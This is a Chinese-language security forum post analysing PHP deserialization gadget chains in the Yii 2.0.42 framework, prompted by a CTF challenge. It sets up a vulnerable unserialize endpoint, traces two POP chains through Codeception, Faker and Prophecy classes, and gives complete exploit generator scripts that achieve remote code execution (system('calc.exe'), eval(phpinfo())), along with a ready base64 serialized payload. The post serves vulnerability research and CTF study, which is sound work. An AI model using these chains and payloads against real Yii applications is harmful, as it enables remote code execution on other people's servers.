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Yii2.0.42反序列化分析(一)
漏洞分析
前不久刚结束的祥云杯考到了当时最新的YII2.0.42反序列化的考点,当时有师傅已经分析构造出了exp,恰巧那篇文章在比赛期间没删,导致那题成了签到题,赛时ctrl c,v,赛后当然还是要自己来分析一波原理。
### 环境搭建 <https://github.com/yiisoft/yii2-app-basic/releases> 官方最新版本已经更新到2.0.43,直接github拉取的项目会缺少一部分文件,所以还是用composer进行下载 ```php composer create-project --prefer-dist yiisoft/yii2-app-basic yii2 ``` [![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-678ca1c22e7015ca4c1e4042bee52748e8b080a9.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-678ca1c22e7015ca4c1e4042bee52748e8b080a9.png) 反序列化入口文件代码还是老样子 ```php <?php /*** * Created by joker * Date 2021/9/5 23:47 ***/ namespace app\controllers; use Yii; use yii\web\Controller; class AxinController extends \yii\web\Controller { public function actionDeser($data) { return unserialize(base64_decode($data)); } } ``` ### 漏洞分析 全局搜索`__destruct`魔术方法,2.0.38版本之前的几条链子的入口都还在,但是每一个对应的文件都添加了一个`__wakeup`魔术方法来修补了反序列化的漏洞 [![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-8a2b9f7ee38f1acbed1aeb9fd36daeae8f3f1bbf.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-8a2b9f7ee38f1acbed1aeb9fd36daeae8f3f1bbf.png) 手上的版本是2.0.43的,而漏洞在2.0.42版本,确定了漏洞起点,临时注释掉2.0.43修补2.0.42版本反序列化增加的`__wakeup`魔术方法即可 #### POP1 `vendor\codeception\codeception\ext\RunProcess.php`,在2.0.42版本中只有这个类是没有加上上面的修补反序列化的代码的 [![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-fc6df7b8367b6e5d5701f79ffd15188cb5b4841d.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-fc6df7b8367b6e5d5701f79ffd15188cb5b4841d.png) 思路还是差不多,反序列化时触发`stopProcess()`方法,方法中`array_reverse`会对`$this->processes`数组变量进行翻转,这里只需传递单个数组值就可以,下面就是找跳板,全局搜索定位`__call()`魔术方法 `vendor\fakerphp\faker\src\Faker\ValidGenerator.php` [![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-2f78dcd57dc083723be4061802500b59f49b26fc.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-2f78dcd57dc083723be4061802500b59f49b26fc.png) do,while循环语句,不管判断条件是否成立,do中的语句都会执行一次,`$this->generator`可控,`$this->validato`r也可控,只需要`$res`可控,那么就可以达到RCE的效果,`call_user_func_array`在这里只能当作跳板,调用任意类的任意方法,需要再找一个`__call()`魔术方法,并且返回结果可控的;继续全局搜索`__call()` `vendor\fakerphp\faker\src\Faker\DefaultGenerator.php` [![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-322b41ea5744c65c63bdb465978533d98078007d.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-322b41ea5744c65c63bdb465978533d98078007d.png) `$this->default`变量完全可控,那也就意味着`$res`可控,也就可以RCE了,链子串一串exp也就出来了,因为exp中弹的计算器,所以$this->maxRetries在赋值的时候要写小一点 ```php <?php /*** * Created by joker * Date 2021/9/7 16:35 ***/ namespace Faker; class DefaultGenerator{ protected $default; function __construct() { $this->default = 'calc.exe'; } } class ValidGenerator{ protected $generator; protected $validator; protected $maxRetries; function __construct() { $this->generator = new DefaultGenerator(); $this->maxRetries = '10'; $this->validator = 'system'; } } namespace Codeception\Extension; use Faker\ValidGenerator; class RunProcess{ private $processes; function __construct() { $this->processes = [new ValidGenerator()]; } } echo base64_encode(serialize(new RunProcess())); ``` 生成一下payload,打一下,谈了10个计算器哈哈哈 [![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-9a55ddec34545662c611fc1d4250dfb45dfe1f81.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-9a55ddec34545662c611fc1d4250dfb45dfe1f81.png) #### POP2 pop2这条链就是当时比赛那道题的考察点,应该是YII所有反序列化中最为复杂的一条利用链了,分析一波,分析完会发现这条链真的是运气所致,一切都是那么正正好 起手点还是pop1中提到的那里,就不看了,直接来看定位到的另一处`__call`魔术方法 这里的跳板选择了`vendor\phpspec\prophecy\src\Prophecy\Prophecy\ObjectProphecy.php`中的`__call()魔术方法`,看断点处 [![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-c191d3c2840ee51fe4d9752e633606f1fb84c511.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-c191d3c2840ee51fe4d9752e633606f1fb84c511.png) 在本类中存在一个`reveal`方法,如果不使用本类的该方法会自动调用其他类中的该方法,仔细跟进完会发现那样子走pop链是利用不起来的,所以只能让`$this->revealer`为该类的一个实例来调用类中的该方法 [![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-5280e4b3e5788c3a09690d2a33fd8c5745acd289.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-5280e4b3e5788c3a09690d2a33fd8c5745acd289.png) `$this->lazyDouble`可控,赋值为存在`getInstance()`的类对象,跟进`getInstance()`方法 [![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-2337d26d321f88d329bd6699d57751b8cb967e98.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-2337d26d321f88d329bd6699d57751b8cb967e98.png) `$this->double`和`$this->arguments`都可控,此处进步进入if判断的语句都没有区别,最后调用的方法都是一样的,`$this->doubler`可控,跟进`double`方法,确认存在该方法的类,再对`$this->doubler`进行实例化类赋值即可,`$this->class`和`$this->interfaces`的赋值需要根据`double`方法的参数类型来确定 [![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-8c311d504e1cdda8d3d3cffb62a9030a56f03e87.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-8c311d504e1cdda8d3d3cffb62a9030a56f03e87.png) 这里需要提一下`ReflectionClass`类,该类是PHP中的反射类,通过`new ReflectionClass($classname)`可以构建一个类的反射类,这里的if判断中会判断`$interface`是否是该反射类的实例化对象或者是否实现了该类中的某个接口。都知道的php有一个异常处理类`Exception`,用`ReflectionClass`类构建异常处理类的反射类,就能够避免上面代码中异常抛出,程序也就能够走到断点处了。验证这一想法,本地写一个小例子 [![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-6a5705be4f69267dbc2c9d0e76c69c1f6e64551b.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-6a5705be4f69267dbc2c9d0e76c69c1f6e64551b.png) 所以到这里,前面留下的几个参数赋值到这里就能够解决了 ```php $this->class = new \ReflectionClass('Exception'); $this->argument = array('joker'=>'joker');//数组内容随意填写,无影响 $this->interfaces[] = new \ReflectionClass('Exception'); ``` 接着跟进`createDoubleClass`方法 `vendor\phpspec\prophecy\src\Prophecy\Doubler\Doubler.php` [![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-a120b9fdbf2ac2780b92020e2a5655d9555735f0.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-a120b9fdbf2ac2780b92020e2a5655d9555735f0.png) 主要的利用部分在断点处,`$name`和`$node`,根据代码逻辑来看是不可控的参数,这里就要用到POP1中后面的跳板方法,只需要让`$this->namer`和`$this->mirror`实例化为`DefaultGenerator`类对象就可以了,这里的`$this->patch`参数不需要管,并不影响代码执行到断点处。 跟`create`方法,确认`$name`和`$node`参数类型 `vendor\phpspec\prophecy\src\Prophecy\Doubler\Generator\ClassCreator.php` [![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-62021fe99b16d0dfa9be7134134c523b94b1223b.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-62021fe99b16d0dfa9be7134134c523b94b1223b.png) 根据方法中的参数来看,$node需要为`Node\ClassNode`类对象 这里最后利用的点为断点处,可以插入代码执行,还是用同样的方法来使得`$code`可控,实例化为`DefaultGenerator`类对象 这个链到这里就完整了,把链捋一捋串一串,exp也就出来了,不是特别好写,多点耐心 ```php <?php /*** * Created by joker * Date 2021/9/7 20:02 ***/ namespace Codeception\Extension; use Prophecy\Prophecy\ObjectProphecy; class RunProcess{ private $processes; function __construct() { $a = new ObjectProphecy('1'); $this->processes[] = new ObjectProphecy($a); } } echo base64_encode(serialize(new RunProcess())); namespace Prophecy\Prophecy; use Prophecy\Doubler\LazyDouble; class ObjectProphecy{ private $lazyDouble; private $revealer; function __construct($a) { $this->revealer = $a; $this->lazyDouble = new LazyDouble(); } } namespace Prophecy\Doubler; class LazyDouble{ private $doubler; private $argument; private $class; private $interfaces; function __construct() { $this->doubler =new Doubler(); $this->class = new \ReflectionClass('Exception'); $this->argument = array('joker'=>'joker'); $this->interfaces[] = new \ReflectionClass('Exception'); } } namespace Prophecy\Doubler\Generator\Node; class ClassNode{ } namespace Prophecy\Doubler; use Prophecy\Doubler\Generator\Node\ClassNode; use Faker\DefaultGenerator; use Prophecy\Doubler\Generator\ClassCreator; class Doubler{ private $mirror; private $creator; private $namer; function __construct() { $this->namer = new DefaultGenerator('joker'); $this->mirror = new DefaultGenerator(new ClassNode()); $this->creator = new ClassCreator(); } } namespace Faker; class DefaultGenerator{ protected $default; function __construct($default) { $this->default = $default; } } namespace Prophecy\Doubler\Generator; use Faker\DefaultGenerator; class ClassCreator{ private $generator; function __construct() { $this->generator = new DefaultGenerator('eval(phpinfo());'); } } ``` 生成payload ```php TzozMjoiQ29kZWNlcHRpb25cRXh0ZW5zaW9uXFJ1blByb2Nlc3MiOjE6e3M6NDM6IgBDb2RlY2VwdGlvblxFeHRlbnNpb25cUnVuUHJvY2VzcwBwcm9jZXNzZXMiO2E6MTp7aTowO086MzI6IlByb3BoZWN5XFByb3BoZWN5XE9iamVjdFByb3BoZWN5IjoyOntzOjQ0OiIAUHJvcGhlY3lcUHJvcGhlY3lcT2JqZWN0UHJvcGhlY3kAbGF6eURvdWJsZSI7TzoyNzoiUHJvcGhlY3lcRG91YmxlclxMYXp5RG91YmxlIjo0OntzOjM2OiIAUHJvcGhlY3lcRG91YmxlclxMYXp5RG91YmxlAGRvdWJsZXIiO086MjQ6IlByb3BoZWN5XERvdWJsZXJcRG91YmxlciI6Mzp7czozMjoiAFByb3BoZWN5XERvdWJsZXJcRG91YmxlcgBtaXJyb3IiO086MjI6IkZha2VyXERlZmF1bHRHZW5lcmF0b3IiOjE6e3M6MTA6IgAqAGRlZmF1bHQiO086NDE6IlByb3BoZWN5XERvdWJsZXJcR2VuZXJhdG9yXE5vZGVcQ2xhc3NOb2RlIjowOnt9fXM6MzM6IgBQcm9waGVjeVxEb3VibGVyXERvdWJsZXIAY3JlYXRvciI7TzozOToiUHJvcGhlY3lcRG91YmxlclxHZW5lcmF0b3JcQ2xhc3NDcmVhdG9yIjoxOntzOjUwOiIAUHJvcGhlY3lcRG91YmxlclxHZW5lcmF0b3JcQ2xhc3NDcmVhdG9yAGdlbmVyYXRvciI7TzoyMjoiRmFrZXJcRGVmYXVsdEdlbmVyYXRvciI6MTp7czoxMDoiACoAZGVmYXVsdCI7czoxNjoiZXZhbChwaHBpbmZvKCkpOyI7fX1zOjMxOiIAUHJvcGhlY3lcRG91YmxlclxEb3VibGVyAG5hbWVyIjtPOjIyOiJGYWtlclxEZWZhdWx0R2VuZXJhdG9yIjoxOntzOjEwOiIAKgBkZWZhdWx0IjtzOjU6Impva2VyIjt9fXM6Mzc6IgBQcm9waGVjeVxEb3VibGVyXExhenlEb3VibGUAYXJndW1lbnQiO2E6MTp7czo1OiJqb2tlciI7czo1OiJqb2tlciI7fXM6MzQ6IgBQcm9waGVjeVxEb3VibGVyXExhenlEb3VibGUAY2xhc3MiO086MTU6IlJlZmxlY3Rpb25DbGFzcyI6MTp7czo0OiJuYW1lIjtzOjk6IkV4Y2VwdGlvbiI7fXM6Mzk6IgBQcm9waGVjeVxEb3VibGVyXExhenlEb3VibGUAaW50ZXJmYWNlcyI7YToxOntpOjA7TzoxNToiUmVmbGVjdGlvbkNsYXNzIjoxOntzOjQ6Im5hbWUiO3M6OToiRXhjZXB0aW9uIjt9fX1zOjQyOiIAUHJvcGhlY3lcUHJvcGhlY3lcT2JqZWN0UHJvcGhlY3kAcmV2ZWFsZXIiO086MzI6IlByb3BoZWN5XFByb3BoZWN5XE9iamVjdFByb3BoZWN5IjoyOntzOjQ0OiIAUHJvcGhlY3lcUHJvcGhlY3lcT2JqZWN0UHJvcGhlY3kAbGF6eURvdWJsZSI7TzoyNzoiUHJvcGhlY3lcRG91YmxlclxMYXp5RG91YmxlIjo0OntzOjM2OiIAUHJvcGhlY3lcRG91YmxlclxMYXp5RG91YmxlAGRvdWJsZXIiO086MjQ6IlByb3BoZWN5XERvdWJsZXJcRG91YmxlciI6Mzp7czozMjoiAFByb3BoZWN5XERvdWJsZXJcRG91YmxlcgBtaXJyb3IiO086MjI6IkZha2VyXERlZmF1bHRHZW5lcmF0b3IiOjE6e3M6MTA6IgAqAGRlZmF1bHQiO086NDE6IlByb3BoZWN5XERvdWJsZXJcR2VuZXJhdG9yXE5vZGVcQ2xhc3NOb2RlIjowOnt9fXM6MzM6IgBQcm9waGVjeVxEb3VibGVyXERvdWJsZXIAY3JlYXRvciI7TzozOToiUHJvcGhlY3lcRG91YmxlclxHZW5lcmF0b3JcQ2xhc3NDcmVhdG9yIjoxOntzOjUwOiIAUHJvcGhlY3lcRG91YmxlclxHZW5lcmF0b3JcQ2xhc3NDcmVhdG9yAGdlbmVyYXRvciI7TzoyMjoiRmFrZXJcRGVmYXVsdEdlbmVyYXRvciI6MTp7czoxMDoiACoAZGVmYXVsdCI7czoxNjoiZXZhbChwaHBpbmZvKCkpOyI7fX1zOjMxOiIAUHJvcGhlY3lcRG91YmxlclxEb3VibGVyAG5hbWVyIjtPOjIyOiJGYWtlclxEZWZhdWx0R2VuZXJhdG9yIjoxOntzOjEwOiIAKgBkZWZhdWx0IjtzOjU6Impva2VyIjt9fXM6Mzc6IgBQcm9waGVjeVxEb3VibGVyXExhenlEb3VibGUAYXJndW1lbnQiO2E6MTp7czo1OiJqb2tlciI7czo1OiJqb2tlciI7fXM6MzQ6IgBQcm9waGVjeVxEb3VibGVyXExhenlEb3VibGUAY2xhc3MiO086MTU6IlJlZmxlY3Rpb25DbGFzcyI6MTp7czo0OiJuYW1lIjtzOjk6IkV4Y2VwdGlvbiI7fXM6Mzk6IgBQcm9waGVjeVxEb3VibGVyXExhenlEb3VibGUAaW50ZXJmYWNlcyI7YToxOntpOjA7TzoxNToiUmVmbGVjdGlvbkNsYXNzIjoxOntzOjQ6Im5hbWUiO3M6OToiRXhjZXB0aW9uIjt9fX1zOjQyOiIAUHJvcGhlY3lcUHJvcGhlY3lcT2JqZWN0UHJvcGhlY3kAcmV2ZWFsZXIiO3M6MToiMSI7fX19fQ== ``` 打一下 [![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-0b25d3bca59c5fe1e75859227d84adb053bbd0b6.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-0b25d3bca59c5fe1e75859227d84adb053bbd0b6.png) #### 后记 归根到底其实也不全是yii框架的原因,跟用的依赖也有关系。 关于`__wakeup()`魔术方法,在比赛的时候经常遇到,是能够绕过的,但是尝试的时候没有成功,可能跟PHP的版本也有一定的关系,后面有时间再去细究一下。还有两条链,留待下回分析吧。
发表于 2021-09-16 11:48:52
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